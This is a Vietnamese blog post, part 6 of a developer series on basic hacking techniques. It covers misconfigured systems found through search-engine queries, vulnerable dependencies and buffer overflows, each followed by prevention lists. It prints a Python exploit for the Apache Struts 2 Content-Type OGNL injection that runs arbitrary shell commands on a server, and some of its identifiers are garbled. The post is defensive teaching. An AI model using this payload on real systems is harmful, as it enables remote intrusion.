- vừa được xem lúc

Các kĩ thuật hack cơ bản lập trình viên nên biết - Phần 6

0 0 29

Người đăng: Nagi

Theo Viblo Asia

Part 1-5

Part 1 - Part 2 - Part 3 - Part 4 - Part 5

Part 6

Lax security settings

Đã đọc đến phần này của series thì chắc mọi người cũng không lạ gì với việc dùng google để hack. Với các từ khoá như intitle:, intext:, hay inurl:,... hacker tìm kiếm các chương trình bị cấu hình lỏng lẻo. Như các database, phần mềm quản lý, hay camera,... đăng nhập với tài khoản mặc định.

Các thư mục bảo không được bảo mật trên máy chủ,

hay những sản phẩm quên tắt chức năng debug, hoặc vẫn để môi trường thử nghiệm cũng là đối tượng bị ngắm đến

Và tất nhiên, web admin cũng là một phần thường xuyên bị nhắm đến

Phòng chống

1. Tự động hoá quá trình Build để tránh việc sơ xuất khi quên này quên kia mỗi khi thực hiện
2. Xem lại các thành phần phần mềm mới và vô hiệu hóa thông tin đăng nhập mặc định càng sớm càng tốt
3. Tách biệt phần code và phần cài đặt cấu hình
4. Tạo tài khoản chuyên dụng với các đặc quyền thích hợp
5. Viết kịch bản cho quá trình triển khai của bạn
6. Tách biệt các môi trường develop, test, product,...
6. Thêm bảo mật bổ sung cho hệ thống quản trị

Toxic dependencies

Là trường hợp các parkage ngoài chứa mã độc hoặc chính bản thân các phần mềm, framework chứa những lỗ hổng bảo mật chưa được phát hiện dẫn đến rủi ro cho sản phẩm.

Có thể kể đến một vài trường hợp (nguồn: hacksplaining.com)

  • Apache struts, phiên bản 2 của nó đã không "làm sạch" Content-Type đúng cách, đến đến việc hacker có thể đẩy vào đó các đoạn script nhỏ và thực thi trên server
import urllib2
import httplib def exploit(url, cmd): payload = "%{(#_='multipart/form-data')." payload += "(#_@.com@DEFAULT_MEMBER_ACCESS)." payload += "(#_memberAccess?" payload += "(#_memberAccess=#dm):" payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." payload += "(#ognlUtil=#container.getInstance(@_@.com))." payload += "(#ognlUtil.getExcludedPackageNames().clear())." payload += "(#ognlUtil.getExcludedClasses().clear())." payload += "(#context.setMemberAccess(#dm))))." payload += "(#cmd='%s')." % cmd payload += "(#iswin=(@_@.com('os.name').toLowerCase().contains('win')))." payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." payload += "(#p=new java.lang.ProcessBuilder(#cmds))." payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." payload += "(#ros=(@_@.com().getOutputStream()))." payload += "(@_@.com(#process.getInputStream(),#ros))." payload += "(#ros.flush())}" try: headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload} request = urllib2.Request(url, headers=headers) page = urllib2.urlopen(request).read() except httplib.IncompleteRead, e: page = e.partial return page
  • Ruby on Rails, phiển bản 3.0 có một lỗi liên quan đến việc gán dữ liệu tuỳ ý, nghĩa là có thể tạo một request để ghi đè trạng thái bảo vệ, rất may, nó được 1 hacker mũ trắng phát hiện
def assign_attributes(new_attributes) if !new_attributes.respond_to?(:stringify_keys) raise ArgumentError, "When assigning attributes, you must pass a hash as an argument." end return if new_attributes.blank? attributes = new_attributes.stringify_keys multi_parameter_attributes = [] nested_parameter_attributes = [] attributes = sanitize_for_mass_assignment(attributes) attributes.each do |k, v| if k.include?("(") multi_parameter_attributes << [ k, v ] elsif v.is_a?(Hash) nested_parameter_attributes << [ k, v ] else _assign_attribute(k, v) end end assign_nested_parameter_attributes(nested_parameter_attributes) unless nested_parameter_attributes.empty? assign_multiparameter_attributes(multi_parameter_attributes) unless multi_parameter_attributes.empty?
end

Phòng chống

1. Automate your build and deployment processes
2. Deploy known-good versions of software
3. Be careful of private dependencies
4. Dùng tool chuyên dụng để đánh giá nguy cơ bảo mật
5. Luôn cập nhập các bản bảo mật
6. Review code định kỳ
7. Make penetration testing part of your development lifecycle

Buffer overflows - tràn bộ đệm

Khi dữ liệu đầu vào có độ dài vượt ra ngoài biên của bộ nhớ đệm có độ dài cố định, nó sẽ ghi đè lên các bộ nhớ đệm liền kề, Dữ liệu bị ghi đè có thể bao gồm các bộ nhớ đệm khác, các biến và dữ liệu điều khiển luồng chảy của cả chương trình. Lỗi này thường xảy ra với các ngôn ngữ như C hoặc C++ khi mà việc xử lý bộ nhớ đệm phải thực hiện thủ công.

Hacker có thể lợi dụng lỗi này, đẩy lên một lượng lớn dữ liệu cùng lúc gây trèo server, tương tự như tấn công DDoS, hoặc chèn các đoạn mã độc vào phần ghi dữ liệu bị tràn, qua đó thực hiện các thủ thuật tấn công khác

Cách khai thác chia thành 2 loại chính khai thác lỗi tràn trên stack và Khai thác lỗi tràn trên heap, ngoài ra còn một số cách khác, chúng đều hướng đến việc thay đổi hành vi chương trình tạo thuận lợi cho hacker

Lời kết

Cuối cùng thì sau một thời gian dài, tôi cũng hoàn thành được series đầu tiên về bảo mật, dù chỉ là nhưng là bản tóm tắt cơ bản, tổng hợp, nhưng bản thân tôi cũng có chút tự hào. Dự kiến hôm nào đó có thể tôi sẽ là viết kĩ hơn về từng loại, sẽ vẫn là lần mò, viết bậy thôi, nhưng vẫn mong mọi người sẽ ủng hộ.

Nguồn:

Bình luận

Bài viết tương tự

- vừa được xem lúc

Linux Hardening and System Auditing (P1)

. Ngày nay, các hệ thống Linux được sử dụng trong suốt quá trình tính toán, từ các hệ thống nhúng đến hầu như tất cả các siêu máy tính, đồng thời đảm bảo một vị trí quan trọng trong các hệ thống máy chủ trên toàn thế giới. Linux đem lại cho người dùng khả năng tùy biến cao, sự ổn định và độ tin cậy

0 0 32

- vừa được xem lúc

Các kĩ thuật hack cơ bản lập trình viên nên biết - Phần 1

Mở đầu. Anh em theo cái nghề dev này, có lẽ một nửa là do mê game, nửa còn lại là do các ảnh "hắc cơ" trên phim lừa gạt , còn một nhóm nhỏ yêu ngành yêu nghề tôi không nói.

0 0 59

- vừa được xem lúc

CRSF attack

Giới thiệu. CSRF là phương thức tấn công bằng cách hacker lấy quyền xác thực của một user để gửi request mà người dùng đó không mong muốn.

0 0 30

- vừa được xem lúc

Các nguyên tắc bảo mật cơ bản trên Amazon Web Services (P1)

Lời mở đầu. Từ lưu trữ dữ liệu, chia sẻ file, truy cập từ xa, đến sao lưu từ xa – điện toán đám mây là một nhân tố quan trọng trong CNTT hiện đại.

0 0 41

- vừa được xem lúc

What Is Session Fixation?

Session Fixation là một kỹ thuật tấn công web. Kẻ tấn công lừa người dùng sử dụng session ID đặc biệt.

0 0 32

- vừa được xem lúc

Tổng quan một số kỹ thuật khai thác lỗ hổng bảo mật Web (P1)

Trong thời đại công nghệ phát triển hiện nay, việc đảm bảo an ninh thông tin trên không gian mạng đang là vấn đề dành được nhiều sự quan tâm. Nguy cơ mất an toàn thông tin đang là mối đe dọa lớn và ngày càng gia tăng đối với an ninh quốc gia.

0 0 83